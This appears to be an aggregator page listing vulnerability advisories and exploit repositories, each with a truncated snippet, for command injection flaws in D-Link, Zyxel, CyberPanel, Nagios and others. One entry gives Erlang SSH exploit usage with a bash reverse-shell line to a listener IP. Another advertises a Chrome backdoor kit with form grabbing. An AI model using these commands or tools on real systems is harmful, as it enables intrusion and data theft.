D-Link NAS - Command Injection via Group Parameter

A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgiuseradd of the file /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. The manipulation of the argument group leads to os command injection. i...

CyberPanel - Command Injection

CyberPanel aka Cyber Panel before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner sink. There is /filemanager/upload aka File Manager upload unauthenticated remote code execution via shell metacharacters. id: CVE-2024-51568 info: name: CyberPanel - Comman...

UniFi OS Server - Command Injection

A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection. id: CVE-2026-34910 info: name: UniFi OS Server - Command Injection author: Kazgangap severity: critical description: | A malicious actor...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account

The command injection vulnerability in the CGI program "remotehelp-cgi" in Zyxel NAS326 firmware versions before V5.21AAZF.17C0 and NAS542 firmware versions before V5.21ABAG.14C0 could allow an unauthenticated attacker to execute some operating system OS commands by sending a crafted HTTP POST...

CVE-2026-95675

CVE-2026-95675 — D-Link DAP-1360 RevB formSystemCheck ハンドラにおける未認証のリモート root コマンド実行 CWE-78 — OS コマンドインジェクション で、ハードコードされた認証バックドア経由で到達可能。DAP-1360 RevB、ファームウェア 2.14B05 で検証済み。 根本原因 連鎖する 2 つの独立した問題: 1. ハードコードされた認証バイパスパス。 main httpd @ 0x4064c8 内: strcasecmprequestpath, "dEfWzDLOgIn" ; token @ 0x48046c...

CVE-2010-2075

CVE-2010-2075 — UnrealIRCd 3.2.8.1 バックドアエクスプロイト 概要 UnrealIRCd はオープンソースの IRC Internet Relay Chat サーバーであり、初期のチャットプラットフォームと同様に、ネットワーク上でユーザーがリアルタイムに通信できるプロトコルです。 2009年から2010年にかけて、公式ダウンロードミラー経由で配布されていた UnrealIRCd 3.2.8.1 が侵害されていたことが発見されました。攻撃者は正規のソースコードを、隠されたコマンド実行トリガーを含むバックドア版に置き換えていました。 これは サプライチェーン...

vthunting

VT 헌팅 VThunting이 이제 VirusTotal에 등재되었습니다. Virus Total Hunting은 VT api 버전 3을 기반으로 하는 작은 도구로, 매일, 매주 또는 매월 악성코드 헌팅에 대한 보고서를 생성합니다. 보고서는 이메일, Slack 채널 또는 Telegram을 통해 전송할 수 있습니다. 이 도구는 CLI에서도 사용하여 언제든지 보고서를 받을 수 있습니다. 결과의 기본 개수는 10개이지만, 설정 부분에서 증감할 수 있습니다. 이 도구는 Virus Total Intelligence API에서만 작동합니다...

CVE-2026-1961-foreman-poc

Foreman WebSocket Proxy Command Injection CVE-2026-1961 — PoC Proof-of-concept for a command injection vulnerability in Foreman's WebSocket proxy lib/wsproxy.rb, disclosed responsibly to Red Hat and patched. Summary Foreman's WebSocket proxy interpolates an unsanitized host value, sourced from a...

CVE-2026-73570

🔴 CVE-2026-73570 — 高深刻度の未認証RCE ⚠️ 未認証のOSコマンドインジェクション → リモートコード実行 Zimbra Collaboration Suite · SNMP通知処理 🧠 概要 CVE-2026-73570 は、Zimbra Collaboration Suite の特定の構成に影響を与える高深刻度の OSコマンドインジェクション脆弱性 です。 この脆弱性は SNMP通知処理コンポーネント...

FORTIWEB_CVE-2025-64446-58034

FortiWeb Exploit Simulation CVE-2025-64446 & CVE-2025-58034 Note: This document is for educational and security research purposes only. Do not use to attack systems without authorization. 1. Overview FortiWeb is a Web Application Firewall WAF device used to protect web applications. In 2025, two...

HTB-TwoMillion-Writeup

HTB-TwoMillion-Writeup HackTheBox TwoMillion machine writeup — API abuse, command injection & CVE-2023-0386 HackTheBox — TwoMillion Writeup HackTheBox — TwoMillion Writeup Machine Info Field| Details ---|--- Name| TwoMillion Difficulty| Easy OS| Linux IP| 10.10.11.221 CVE| CVE-2023-0386 Summary...

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

just wait and see ZoneMinderのイベントエクスポート機能（web/includes/downloadfunctions.php）におけるOSコマンドインジェクション脆弱性の概念実証です。 モニター名は、escapeshellarg の代わりに手動のシングルクォートラップを使用してシェルコマンドに直接挿入されます。モニターを作成できる攻撃者は、任意のユーザーがイベントエクスポートをトリガーした際に、www-data（またはプロセスを実行しているユーザー）として実行される任意のシェルコマンドを注入できます。 根本原因 2023年10月4日のコミット 44c5c3c ...

chromebackdoor

Chrome browser backdoor VIDEO Install Text V 3.0 Install Video OLD Binder guide Module guide Form grabber plugins Facebook MessengerSpy plugins Jabber Notifier/ Hide Panel Windows infection Rubber Ducky Payload Require: pip install crxmake wine32 Let's go python chromebackdoor.py user: root pass:...

EUVD-2026-95328

IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command...

EUVD-2026-95331

IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality. ⚠️ This tool is intended for security...

CVE-2025-15545

CVE-2025-15545 Information Vendor: TP-Link Vendor's website: TP-Link Model: Archer RE605X Hardware version: RE605X v3.0 Firmware version: RE605XEUV31.1.5 Build 20240905 Firmware download address: TP-Link A chain of vulnerabilities — including the use of hardcoded cryptographic keys and a command...

CVE-2025-5548

🛡️ CVE-2025-5548 – FreeFloat FTP Server Buffer Overflow Exploit 📌 Overview This repository documents the discovery and exploitation of a stack-based buffer overflow vulnerability in the FreeFloat FTP Server application. The vulnerability resides in the handling of the USER command, where unsafe...